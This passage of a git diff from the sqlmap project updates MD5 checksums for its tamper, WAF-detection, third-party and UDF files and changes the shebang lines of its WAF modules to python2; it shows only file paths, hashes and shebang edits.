shell/stagers/stager.jsp_ 2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_ -41522f8ad02ac133ca0aeaab374c36a8 sqlmapapi.py -05fe39a2fbd1cff87cb43c5c36e64365 sqlmap.py -772fb3dd15edc9d4055ab9f9dee0c203 tamper/0x2char.py -3d89a5c4c33d4d1d9303f5e3bd11f0ae tamper/apostrophemask.py -1fd0eec63970728c1e6628b2e4c21d81 tamper/apostrophenullencode.py -b1d9fb70a972565f54655f428c3ac329 tamper/appendnullbyte.py -a48ddba5854c0f8c7cac78034ab8cbfa tamper/base64encode.py -ead9e7a87360ddd13bf1de2d6b36b491 tamper/between.py -01cc36d46038c9480366cac98898fe39 tamper/bluecoat.py -ba5ebde73da33956fe911e11f025e645 tamper/chardoubleencode.py -2e3e97cfad12090b9bd1c74b69679422 tamper/charencode.py -6ac8f2b28d5686b38c9f282ee18d0d39 tamper/charunicodeencode.py -dfb7f2eac76f63a73d0d7f40d67b0ff0 tamper/charunicodeescape.py -d56dd22ef861d4fc15fb5eb6bd026ff0 tamper/commalesslimit.py -6795b3d686297cd30c6c187b49b88446 tamper/commalessmid.py -098941e3b27eb4175287f28a00f1ef4c tamper/commentbeforeparentheses.py -a26a9bb4bd911aab7d84504cfa1ebdba tamper/concat2concatws.py -7ca2e1b08858a131ba58d3c669241c95 tamper/equaltolike.py -9a7e8d28ec31c1f9076c9dc1af9cbe04 tamper/escapequotes.py -6c7e8474ab7c5c2e07c4601b69a62fc1 tamper/greatest.py -c1709d45874eace00c0679d482829974 tamper/halfversionedmorekeywords.py -20b0c7c888cdb11e00100dcc3226d685 tamper/htmlencode.py -1a81558b83b218445039911f26475e86 tamper/ifnull2casewhenisnull.py -ed1dcf9292a949b43a2d32b0c0fc2072 tamper/ifnull2ifisnull.py -7dbaaf62b80b29cf807806e515488ce1 tamper/informationschemacomment.py -fb6be55d21a70765e35549af2484f762 tamper/__init__.py -5c4ac7c3f8d4724737a4307eb3bead20 tamper/least.py -80d9bd948c353fed81dc7b06840acbaa tamper/lowercase.py -ee5fd7d806531737987d5d518be2e9a9 tamper/luanginx.py -b50ecb14fc88963bd20d1433e8c27fcd tamper/modsecurityversioned.py -26ed48a6f984cbcd94f99895b2bc6da2 tamper/modsecurityzeroversioned.py -b4099f36131eabf64f9ae287a67f79c4 tamper/multiplespaces.py -2c3d05be881074e5bf72cece194b2011 tamper/overlongutf8more.py -d0a25188761286f7d464e9d166d22930 tamper/overlongutf8.py -97a8378552cd4cd73c42c575228b6ab0 tamper/percentage.py -6984dda440f06fc1887b4087760bda34 tamper/plus2concat.py -60c97825e2dbd40562c01ab65f25948f tamper/plus2fnconcat.py -277726cc91a5f57dbcae037c9986ef0c tamper/randomcase.py -a88b92c7288aafe04926c49541c0dc38 tamper/randomcomments.py -b70566435b25f0995a651adaf5d26c0d tamper/space2comment.py -3ef82de711f7d9e89f014c48851508f1 tamper/space2dash.py -d46a0acbb24d33704763191fd867ca78 tamper/space2hash.py -703686f68988c9087b6dcef23cb40a03 tamper/space2morecomment.py -dda73a08c44850c097a888128102edd5 tamper/space2morehash.py -b4c550d42994001422073ccb2afc37a4 tamper/space2mssqlblank.py -d38f95ea746038856fa02aab16064d83 tamper/space2mssqlhash.py -a308787c9dad835cb21498defcd218e6 tamper/space2mysqlblank.py -75eef8086f8f6edf9d464277c9f1c1f5 tamper/space2mysqldash.py -dc99c639a9bdef91a4225d884c29bb40 tamper/space2plus.py -190bc9adca68e4a628298b78e8e455e8 tamper/space2randomblank.py -eec5c82c86f5108f9e08fb4207a8a9b1 tamper/sp_password.py -abfdf3a9f02d0755b3c9db768bd87f9a tamper/substring2leftright.py -64b9486995d38c99786f7ceefa22fbce tamper/symboliclogical.py -08f2ce540ee1f73b6a211bffde18e697 tamper/unionalltounion.py -628f74fc6049dd1450c832cabb28e0da tamper/unmagicquotes.py -f9f4e7316898109c3d5f3653cf162e12 tamper/uppercase.py -91b99614063348c67ce7ce5286a76392 tamper/varnish.py -db49128b094326fd87a6a998c27a5514 tamper/versionedkeywords.py -fc571c746951a5306591e04f70ddc46e tamper/versionedmorekeywords.py -d39ce1f99e268dc7f92b602656f49461 tamper/xforwardedfor.py +605a29ff45848e75366c641a44eeeb02 sqlmapapi.py +d7352cf475e245ba9c4b56419c21ddef sqlmap.py +930c9824698e40a9b8157732372ecd86 tamper/0x2char.py +58ffb21379167f883c4e06b878517df2 tamper/apostrophemask.py +484a6552aa73de49124dcd437564e0b3 tamper/apostrophenullencode.py +cd41c073c63e7732c5455c21208d610c tamper/appendnullbyte.py +e716797f6490b7db1c2914ba03cae15c tamper/base64encode.py +57149733e1c20e6867509da009fdb1ef tamper/between.py +65cf55d849edb0513f4e5eefd9fc25cb tamper/bluecoat.py +4dcdc84681002e137f0eb826479f2c59 tamper/chardoubleencode.py +4f7fd049c31c8dfa8f11b11f7df4d43e tamper/charencode.py +973bf7312d3c05bee3be586e06e2241f tamper/charunicodeencode.py +6b70552db8e5b2086f68b681a346df26 tamper/charunicodeescape.py +f083825e469d6212dcc80cacc1d829e5 tamper/commalesslimit.py +afd369785d053330e6e18a2800a9127b tamper/commalessmid.py +a21bdcd0bf96860f3f20d413bf22c3be tamper/commentbeforeparentheses.py +9c058cb9b746d6da83e63501c20e70a3 tamper/concat2concatws.py +072fa98a8ee2c31788e0ff1fa5ae8126 tamper/equaltolike.py +169f1f6f463432b155557f78f8536227 tamper/escapequotes.py +25519f60db8318137b03c03ce336d981 tamper/greatest.py +d50160e416ad8e3cc22cbaffcf7cb45b tamper/halfversionedmorekeywords.py +e6ce731b2e112911690dae0285c9d62a tamper/htmlencode.py +42053eebc9fea41276497b93e20786cd tamper/ifnull2casewhenisnull.py +884700b7f57bac1d9e93096b88ba286d tamper/ifnull2ifisnull.py +166ea0b0c59b98258968f7cf7c791573 tamper/informationschemacomment.py +cdf3f6e677253f1c85e0b12d9d0d0ac3 tamper/__init__.py +f66677b21fa08a5f118db33e62a26097 tamper/least.py +b58a055804fa4520f57ea730d96e0c76 tamper/lowercase.py +3677e96c679507bcf170a6d95c092792 tamper/luanginx.py +19be4592453c800179ef43ade6b5a503 tamper/modsecurityversioned.py +52db20e7f79c717f1845012dbf7510e4 tamper/modsecurityzeroversioned.py +f5ee7174ac6a33045787678075f5ad97 tamper/multiplespaces.py +9c3cde6ece61bcc9622109707b0f0658 tamper/overlongutf8more.py +174baec80f95a0d1296f420af305f2ad tamper/overlongutf8.py +90fb3ee3ee97864e98e93e830adc85ec tamper/percentage.py +ce7bd5c1bc252a6d0ff8ecd568fbc5a4 tamper/plus2concat.py +cb02f1f9a210e0d26a1792aae72c61b8 tamper/plus2fnconcat.py +25fdd627361111748c2253a1348cd6c8 tamper/randomcase.py +793c59524481332bcc55fda8773b13e5 tamper/randomcomments.py +cfa30a6393bb25bbfd9d144619cbeab8 tamper/space2comment.py +0c833c994d206b4289e0ab59b4e9673a tamper/space2dash.py +e5a7b8e258c74e1ca5f0540651ee8fc9 tamper/space2hash.py +a95d58e689c7b5768c4eb54141660078 tamper/space2morecomment.py +7c57d78c5308347d1cbf657979a398e6 tamper/space2morehash.py +c14ec1d23f5b4e0d04055d6135bcf076 tamper/space2mssqlblank.py +0bdff9485f9169d1fbe507ba6e8fecbd tamper/space2mssqlhash.py +244a8cc773df6d93b60c830e2d6fe17d tamper/space2mysqlblank.py +6c0c8e446fe8992b6a424b2b21d0c7de tamper/space2mysqldash.py +6c1fe935e3ee458c8cab0ecb1bd7d87d tamper/space2plus.py +5c0415146bb99773b915620f23717fad tamper/space2randomblank.py +657ba406289aec6d93f63798cb559fb2 tamper/sp_password.py +4007e4505deeffa7c3753ea5396a9c4b tamper/substring2leftright.py +8674b558975f290c6d88002e8bbeaf05 tamper/symboliclogical.py +aafc9fef256973933d735c8233a313dd tamper/unionalltounion.py +f89973f9e8fc46d1e5dc2d8ff020b8c7 tamper/unmagicquotes.py +0a59c760c072da567bc340f5bef67bd4 tamper/uppercase.py +54a2adf80be3f56f95f1c743ab7c1d5d tamper/varnish.py +f4e337932a63b1613e5fbc811984ae13 tamper/versionedkeywords.py +72df4ce8f22f45bcd28509024d2c8f04 tamper/versionedmorekeywords.py +c4dd9a1de64fb393a037ca44cca77072 tamper/xforwardedfor.py b1c02296b4e3b0ebaa58b9dcd914cbf4 thirdparty/ansistrm/ansistrm.py d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py 3ebe11e5ad9bbe608b1caae540b6fe97 thirdparty/beautifulsoup/beautifulsoup.py -cb2e1fe7c404dff41a2ae9132828f532 thirdparty/beautifulsoup/__init__.py -ff54a1d98f0ab01ba7b58b068d2ebd26 thirdparty/bottle/bottle.py +c2d26da527ed7d2b4219c6be1cbb8b8f thirdparty/beautifulsoup/__init__.py +a5255d7def3b634d24e3d7ba74a8e023 thirdparty/bottle/bottle.py 4528e6a7bb9341c36c425faf40ef32c3 thirdparty/bottle/__init__.py b20f539dc45fa9e514c1eb4f5aa8b5c6 thirdparty/chardet/big5freq.py 44159687c2bae35f165b44f07f5f167a thirdparty/chardet/big5prober.py -c80b09e2a63b375c02c8c1e825a953c5 thirdparty/chardet/chardetect.py +e3eff9aaceae243cd2a1fb536f5f6c2a thirdparty/chardet/chardetect.py d2c4ad8cc905d95f148ead169d249eb8 thirdparty/chardet/chardistribution.py 24c57085435b8ad1a7bf9ff4ffe6cce0 thirdparty/chardet/charsetgroupprober.py 0cb6549c5cf979c8023f8aaf3392a117 thirdparty/chardet/charsetprober.py @@ -341,7 +341,7 @@ c9349824f2647962175d321cc0c52134 thirdparty/chardet/sjisprober.py bcae4c645a737d3f0e7c96a66528ca4a thirdparty/chardet/universaldetector.py 6f8b3e25472c02fb45a75215a175991f thirdparty/chardet/utf8prober.py be496c4cf7e3eff945d33de5051ac57d thirdparty/clientform/clientform.py -722281d87fb13ec22555480f8f4c715b thirdparty/clientform/__init__.py +6e5de63c8442d2b5bc557c285f664a6a thirdparty/clientform/__init__.py 0b625ccefa6b066f79d3cbb3639267e6 thirdparty/colorama/ansi.py 7ec474bef2432a1b45001bb87f2ab25f thirdparty/colorama/ansitowin32.py ed4d76c08741d34ac79f6488663345f7 thirdparty/colorama/initialise.py @@ -349,33 +349,33 @@ c0707ca77ccb4a2c0f12b4085057193c thirdparty/colorama/__init__.py ad3d022d4591aee80f7391248d722413 thirdparty/colorama/win32.py cdd682cbf77137ef4253b77a95ed9bd8 thirdparty/colorama/winterm.py be7eac2e6cfb45c5e297ec5eee66e747 thirdparty/fcrypt/fcrypt.py -e00542d22ffa8d8ac894c210f38454be thirdparty/fcrypt/__init__.py -5bf76c1e6f4674cec65d89814d989304 thirdparty/gprof2dot/gprof2dot.py -855372c870a23d46683f8aa39d75f6a1 thirdparty/gprof2dot/__init__.py +c58b5fc74eaa5761cba7ef61d935202f thirdparty/fcrypt/__init__.py +f2cece2a6bfb6633cf4db8792273e294 thirdparty/gprof2dot/gprof2dot.py +4fe3f1607a080f156d1381e294384038 thirdparty/gprof2dot/__init__.py d41d8cd98f00b204e9800998ecf8427e thirdparty/__init__.py -e3b18f925d125bd17c7e7a7ec0b4b85f thirdparty/keepalive/__init__.py -c7e8085d9db7a798540b3bad4546dd4a thirdparty/keepalive/keepalive.py +9e24eb15fa8e215f5386ea8c3f8956d9 thirdparty/keepalive/__init__.py +59b86ceb212045ef5b5e7c62c019ba70 thirdparty/keepalive/keepalive.py d41d8cd98f00b204e9800998ecf8427e thirdparty/magic/__init__.py bf318e0abbe6b2e1a167a233db7f744f thirdparty/magic/magic.py d41d8cd98f00b204e9800998ecf8427e thirdparty/multipart/__init__.py -82432cb4ef575aa16900ba221cc1dc98 thirdparty/multipart/multipartpost.py -0a0a5f8f5519cf9dd2c5120f62aabe83 thirdparty/odict/__init__.py +363f797126e71eb9625a9840afa1670a thirdparty/multipart/multipartpost.py +52ef109474a0d77188ec81a4304473b6 thirdparty/odict/__init__.py 8d8f91e1d87cb301fdb50db79dfe4d48 thirdparty/odict/ordereddict.py -0105f1734f326704d2d68839084ca661 thirdparty/oset/_abc.py +d1d7428ada00f1f8a811d52ce3264f15 thirdparty/oset/_abc.py 54a861de0f08bb80c2e8846579ec83bd thirdparty/oset/__init__.py -6c79e6d14e031beebe6de127b53c7c93 thirdparty/oset/pyoset.py -94a4abc0fdac64ef0661b82aff68d791 thirdparty/prettyprint/__init__.py -ff80a22ee858f5331b0c088efa98b3ff thirdparty/prettyprint/prettyprint.py -5c70f8e5f7353aedc6d8d21d4fb72b37 thirdparty/pydes/__init__.py +6fcf93b9f69d4ce2ab6edf29fa336236 thirdparty/oset/pyoset.py +b53e0b1a0e199a655a0a3911dfa68fec thirdparty/prettyprint/__init__.py +6e2f2a91693fbb52e4f77b99546df3ef thirdparty/prettyprint/prettyprint.py +28268581a4a8d469a306740f79901ed6 thirdparty/pydes/__init__.py a7f735641c5b695f3d6220fe7c91b030 thirdparty/pydes/pyDes.py d41d8cd98f00b204e9800998ecf8427e thirdparty/socks/__init__.py -afd97f26bffa0532ee4eb4f5f8ec1ab7 thirdparty/socks/socks.py +504e762b8d08e7e95ccaecf0ab0d0f38 thirdparty/socks/socks.py d41d8cd98f00b204e9800998ecf8427e thirdparty/termcolor/__init__.py d97198005a387a9d23916c616620ef7f thirdparty/termcolor/termcolor.py -bf55909ad163b58236e44b86e8441b26 thirdparty/wininetpton/__init__.py -a44e7cf30f2189b2fbdb635b310cdc0c thirdparty/wininetpton/win_inet_pton.py -855372c870a23d46683f8aa39d75f6a1 thirdparty/xdot/__init__.py -fb6c71a25d5a93bf20ab99fe4e31e0dd thirdparty/xdot/xdot.py +4d0544984eb7304d61d35f1a3e5f3da7 thirdparty/wininetpton/__init__.py +4b214fb1983dbdc321789d44e323f854 thirdparty/wininetpton/win_inet_pton.py +4fe3f1607a080f156d1381e294384038 thirdparty/xdot/__init__.py +01e386fee1f1522d33d2d1e77f957fc1 thirdparty/xdot/xdot.py 08c706478fad0acba049d0e32cbb6411 udf/mysql/linux/32/lib_mysqludf_sys.so_ 1501fa7150239b18acc0f4a9db2ebc0d udf/mysql/linux/64/lib_mysqludf_sys.so_ 70d83edb90c4a20bd95eb62f71c99bd0 udf/mysql/windows/32/lib_mysqludf_sys.dll_ @@ -400,87 +400,87 @@ a6b9c964f7c7d7012f8f434bbd84a041 udf/postgresql/windows/32/8.2/lib_postgresqlud d9006810684baf01ea33281d21522519 udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ 0d3fe0293573a4453463a0fa5a081de1 udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ -d6f06b1463501392e7e578d511ffb4d8 waf/360.py -2d63c46bed78aec2966a363d5db800fd waf/aesecure.py -b6bc83ae9ea69cf96e9389bde8250c7c waf/airlock.py -34b8ec9f438d7daa56aa016e6c09fadb waf/anquanbao.py -7ab1a7cd51a02899592f4f755d36a02e waf/approach.py -425f2599f57ab81b4fff67e6b442cccc waf/armor.py -46a1d30bb52048c2092593acfa71bd52 waf/asm.py -9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py -e57a22864477ad23ae6a3d308f9b5410 waf/barracuda.py -941714dfea605d59cb1544e5c376ac58 waf/bekchy.py -1712d76bd4adb705f3317ff5908acdcd waf/bitninja.py -2608fbe2c80fae99bb09db1f93d80cdd waf/bluedon.py -8385218d8a1863dbfd4274db36880dfe waf/cerber.py -5ae64cad95b7f904c350cc81230c3bd1 waf/chinacache.py -a05edf8f2962dfff0457b7a4fd5e169c waf/ciscoacexml.py -af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py -8fec83056c8728076ab17ab3a2ebbe7b waf/cloudflare.py -9ae3dfb7c03da53fb67c6c3cb56b4827 waf/cloudfront.py -847ee97f6e0f8aeec61afd3e0c91543b waf/comodo.py -4ed76fdf2add2405bb6157ac025e01b9 waf/crawlprotect.py -4254527ec80588f5289f56c7b52c4b30 waf/distil.py -886c6502a6a2aae49921efed8d439f7b waf/dotdefender.py -a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py -5df01dde939c0d22bc163730873e9854 waf/expressionengine.py -588d2f9a8f201e120e74e508564cb487 waf/fortiweb.py -447f6d63b6f691a852ca198afaaac4a6 waf/generic.py -4ea580dd1b9679bd733866976ad5d81e waf/godaddy.py -27385b15477031a3aff25df601a1ff51 waf/greywizard.py -256a7ea2c1cd2745fe788cf8f6123f8a waf/imunify360.py -f4e3fb185b92483832d14b532f467b35 waf/incapsula.py -fb6be55d21a70765e35549af2484f762 waf/__init__.py -a3ee375714987acccc26d1b07c2e8af7 waf/isaserver.py -e6994165497cef25d7a785cd3d4a3c64 waf/janusec.py -ce9cf35919a92d65347bb74ca0c5c86f waf/jiasule.py -f44ed04eeb4287c11ce277703ec7d72d waf/knownsec.py -8c3977c543ca4ec6d4231f604217cf94 waf/kona.py -d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py -509af267f45485f3cb1c839fa040ff07 waf/modsecurity.py -78af8e791207db9723a14bddeb7524af waf/naxsi.py -8004b57e9b8e19060aae5b82ecb87472 waf/netscaler.py -96e1902b7e4297173d519b00c86f6a02 waf/newdefend.py -d03dfe93a14c966b88f5baf59ce2b091 waf/ninjafirewall.py -a59aff03a5b3fb40ea0feb3489677040 waf/onmessageshield.py -532b6f8de357a9b88a313944e1756538 waf/paloalto.py -f9de9375ffd0447ba93b215493d327a1 waf/perimeterx.py -2979bb64c24256a83625d75a385dde9b waf/profense.py -8de0d46738335a4e498c4ac9038ac3c3 waf/proventia.py -ac60456fe7af4eb501d448910e98ee4b waf/radware.py -1315066be1abb4f1d34290239be0af14 waf/reblaze.py -987389e4f403b7615d6d8006420a6260 waf/requestvalidationmode.py -8dae5619edafaaceccf1c4eb051c7d22 waf/rsfirewall.py -d2d9718de217dd07d9e66b2e6ad61380 waf/safe3.py -213062db202a6eb0939a6674f96be551 waf/safedog.py -34440ee94fcff88b4158e86635176547 waf/secureentry.py -ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py -d425f890541a81cc11b0905842194274 waf/securesphere.py -ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py -2602a8baed4da643e606a379e4dc75db waf/shieldsecurity.py -fc21ce1e6e597e44818c03d9cb859e83 waf/siteground.py -332f27cfa02abca513719851850c782e waf/siteguard.py -c842d298e61a87b32668c8402a0d87b5 waf/sitelock.py -a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py -45683bfe7a428f47745416c727a789bd waf/sophos.py -ed1ecabfa8396e70494b0a3d70a22eb1 waf/squarespace.py -8ace2ad70a4bba8825c8538e349839da waf/stackpath.py -74bd52941b606d15f1a6cdc7b52f761c waf/sucuri.py -205beb7ed5e70119f8700a9e295b6a4a waf/tencent.py -ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py -1c15216824f96e23a76591ac29eb6d7d waf/urlmaster.py -876c746d96193071271cb8b7e00e1422 waf/urlscan.py -80314083009c87d32bf32d84e8bbb7be waf/varnish.py -455bb16f552e7943e0a5cf35e83a74ea waf/virusdie.py -67df54343a85fe053226e2a5483b2c64 waf/wallarm.py -114000c53115fa8f4dd9b1b9122ec32a waf/watchguard.py -a7b8c4c3d1463409e0e204932f0ddff0 waf/webknight.py -053c6b1ea20133bd9f563f1275ddb5a4 waf/webseal.py -ac9e4e3ced77012ed97284634a9ffc74 waf/wordfence.py -512788a2a07f41290f78c9ad0053bd84 waf/wts.py -e69f77220558564785f0b3c961782a93 waf/yundun.py -a560bee3e948b97af2c88805933dcaad waf/yunsuo.py -c8b6517da2c8a28d474956e3a6b8c1ed waf/zenedge.py +13be5c4cfa87d48409acb3691e7af975 waf/360.py +3a0f243510625d7917f88988bf0a9ac7 waf/aesecure.py +f1619f567d8f9c150b8ee8b1bdec1629 waf/airlock.py +a131fe244f14271f522ef931d7b77eaa waf/anquanbao.py +0ea8afc4051d26a9982ee8d4f2459d68 waf/approach.py +5b037dcf7c051fdd0512ba9ada489651 waf/armor.py +a3f60872aa7deb66d40a0d4e3bebca36 waf/asm.py +b2132db7097b0eac9a7527992deb9011 waf/aws.py +b6eeb0a0311c8bdf9ee112aab1fba37f waf/barracuda.py +a79227ae23ef02ad33d201583a0546ac waf/bekchy.py +4aa3ef26432e2508d197cee5b3d841c5 waf/bitninja.py +cd8fa4fa25563dea3b0726a70a0df448 waf/bluedon.py +08ab8967e4c376a67554a58aa31dcebf waf/cerber.py +f13856a073e2cae8bc1aca60efdeb5ea waf/chinacache.py +4bcfd8acfec8b4f6af46d66b6c747465 waf/ciscoacexml.py +735b75dc69e2ec01dda94317e1ec2e35 waf/cloudbric.py +0d833c9d9f177ce2246099b387376250 waf/cloudflare.py +f38dc80a9630ea5881d13c8b1b06f930 waf/cloudfront.py +a9613980103c5bd866f4a300f3d56e33 waf/comodo.py +9a8a012011e48ae85d2d6b38f344cc6f waf/crawlprotect.py +ded68b2c545ea6b15b7eb290e7823239 waf/distil.py +386240766871896b0c1e47034af64d9f waf/dotdefender.py +1e6121db4bc1323f4f2cfa64930d3d34 waf/edgecast.py +169426a115c49c686a0ec1b26bce26dc waf/expressionengine.py +ef4f3152e79b557cfb34763a85de15c5 waf/fortiweb.py +57e4d643904aa3369d2ed79b4c20244a waf/generic.py +49d579aa8441994d64cd06b8dda503c4 waf/godaddy.py +84b26086ce446661fe49a6427f3d7035 waf/greywizard.py +13b4884d1a06a04a97f722ff527bda96 waf/imunify360.py +23752d17b963db2ea86f969083f4b0b6 waf/incapsula.py +cdf3f6e677253f1c85e0b12d9d0d0ac3 waf/__init__.py +09449b38bbf1dc90b970ce29a73fb8df waf/isaserver.py +9f824acdbb064b039c460ba6f8e903a6 waf/janusec.py +d2bea92d652fa2323aacd8da601b6f52 waf/jiasule.py +6735b063269c91d78bc540480a404891 waf/knownsec.py +5d72a377326a97b99947aea159d591ba waf/kona.py +ce3ecccf07d83d8892ced15ca7fdb9d7 waf/malcare.py +ca2e1a0bed0c6b078b32d3797e912297 waf/modsecurity.py +0123ba4e013f5fda68270c6437876bee waf/naxsi.py +3151b3912cefad43c2d05bbb3f834e93 waf/netscaler.py +9682e7ad3c4ac1f1ffe3167472fc96ef waf/newdefend.py +1758f6c2c988d22e550b771c26582dea waf/ninjafirewall.py +3d2b002c5d486a5a0688ca764589a557 waf/onmessageshield.py +c0729d748471fd3a7152610e400e07d1 waf/paloalto.py +d0b099d0678121d445ba682e4556639f waf/perimeterx.py +32899d8f4ee695d1eb2b7cb5122abf02 waf/profense.py +71fa47aa699ce4696db5b8ba92979859 waf/proventia.py +aaf38348bd9b6077b1cf7693e142520f waf/radware.py +c2e7177187059a1cabc86e3c9fcfb246 waf/reblaze.py +011f6c2e7d9d8bef329e3ac835ea5d84 waf/requestvalidationmode.py +d649e98a4a6a25fe2286f818a74bc549 waf/rsfirewall.py +7d14647f30f39e80f2cab430553f4fd0 waf/safe3.py +027ad5e576fd29c2a026fafa3143e21f waf/safedog.py +2d676b19a737f185849ef49d01e8536f waf/secureentry.py +282b862b8fbd2440100c9f0ccada87d1 waf/secureiis.py +42f13c3f2b75adfe6775d844c4678ee6 waf/securesphere.py +1b419280b1c74125a623cc2b7afbd0f4 waf/senginx.py +8ab512e0658e048399b0bd36c8e36b2b waf/shieldsecurity.py +e47d83fe62e3b36e6d7fd2ab7cd438de waf/siteground.py +b2d69aafef8b9ca0709b81685d0dbed4 waf/siteguard.py +a38d944da44afd1802753d56552ce78d waf/sitelock.py +9b1526f6bf1e6c90dfb046622e10dbe2 waf/sonicwall.py +cb86507a2865b3b43628528bc044a79e waf/sophos.py +6d67152142d485cf5ccbf08721d3e55d waf/squarespace.py +9b9f514bdd911119cf9421d9a4930594 waf/stackpath.py +e9e2cb64c03503a6df1e7333c67b3bba waf/sucuri.py +e5a78e1c2914a9bd43eba767915a087a waf/tencent.py +42f7c35e98d9589d15d6c59b0fb9fbd1 waf/trafficshield.py +52d3a2314776fe8c6fc4997acabf6faa waf/urlmaster.py +78c03942a8f349ba121b6b55c101c5af waf/urlscan.py +6f6c315c5c869add6693415a2ac5b687 waf/varnish.py +d45fecaff95fa8e62266855b929154b5 waf/virusdie.py +12fdd57d2454d71e3b28c619ee03c41b waf/wallarm.py +d348bf46d77dcd2106aed5b8a2028547 waf/watchguard.py +184ffd596e039450ffdf8a5848b26e07 waf/webknight.py +01cb56e24ef185611980ea640c4f0267 waf/webseal.py +e8a42d03c358fdbef7f30fb571c77936 waf/wordfence.py +4add51acfd8552b22c5b308d09a52bb1 waf/wts.py +2a69ca1046d299de86522037a732080f waf/yundun.py +bdc2cbb5f43330a0d4d0704b43e1f30e waf/yunsuo.py +0a17a4c6d096f214c5ba6f52f60879e7 waf/zenedge.py e68f399aeaa5b516f043af88dd4871a0 xml/banner/generic.xml d8925c034263bf1b83e7d8e1c78eec57 xml/banner/mssql.xml 7b21aeb3ad66d7686eacd23a6346292c xml/banner/mysql.xml diff --git a/waf/360.py b/waf/360.py index 06d287e2168..d801b66fbad 100644 --- a/waf/360.py +++ b/waf/360.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/__init__.py b/waf/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/waf/__init__.py +++ b/waf/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/aesecure.py b/waf/aesecure.py index 4c85b8b5d8a..980d3bfeb0a 100644 --- a/waf/aesecure.py +++ b/waf/aesecure.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/airlock.py b/waf/airlock.py index 4f24026368d..a6ffbd749d0 100644 --- a/waf/airlock.py +++ b/waf/airlock.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/anquanbao.py b/waf/anquanbao.py index 51a1eb19384..24a528e17d0 100644 --- a/waf/anquanbao.py +++ b/waf/anquanbao.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/approach.py b/waf/approach.py index 80e9d563662..cdb58d8636b 100644 --- a/waf/approach.py +++ b/waf/approach.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/armor.py b/waf/armor.py index 266c94ab8e1..6f8e79ea179 100644 --- a/waf/armor.py +++ b/waf/armor.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/asm.py b/waf/asm.py index 17244efb49a..cbbb31a0094 100644 --- a/waf/asm.py +++ b/waf/asm.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/aws.py b/waf/aws.py index 694ad589f0b..0d577fefa7f 100644 --- a/waf/aws.py +++ b/waf/aws.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/barracuda.py b/waf/barracuda.py index a8e7754c6d6..33b72e2d6af 100644 --- a/waf/barracuda.py +++ b/waf/barracuda.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/bekchy.py b/waf/bekchy.py index 96035d9793b..4bd8ba8f4c6 100644 --- a/waf/bekchy.py +++ b/waf/bekchy.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/bitninja.py b/waf/bitninja.py index 648446388c6..7fb14017f4d 100644 --- a/waf/bitninja.py +++ b/waf/bitninja.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/bluedon.py b/waf/bluedon.py index c38b025a6e2..3ddd3960e05 100644 --- a/waf/bluedon.py +++ b/waf/bluedon.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/cerber.py b/waf/cerber.py index bccb7f05450..a05060271dc 100644 --- a/waf/cerber.py +++ b/waf/cerber.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/chinacache.py b/waf/chinacache.py index caf223851b2..f7369b04e17 100644 --- a/waf/chinacache.py +++ b/waf/chinacache.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/ciscoacexml.py b/waf/ciscoacexml.py index ec6d2c44e66..e9c0177202b 100644 --- a/waf/ciscoacexml.py +++ b/waf/ciscoacexml.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 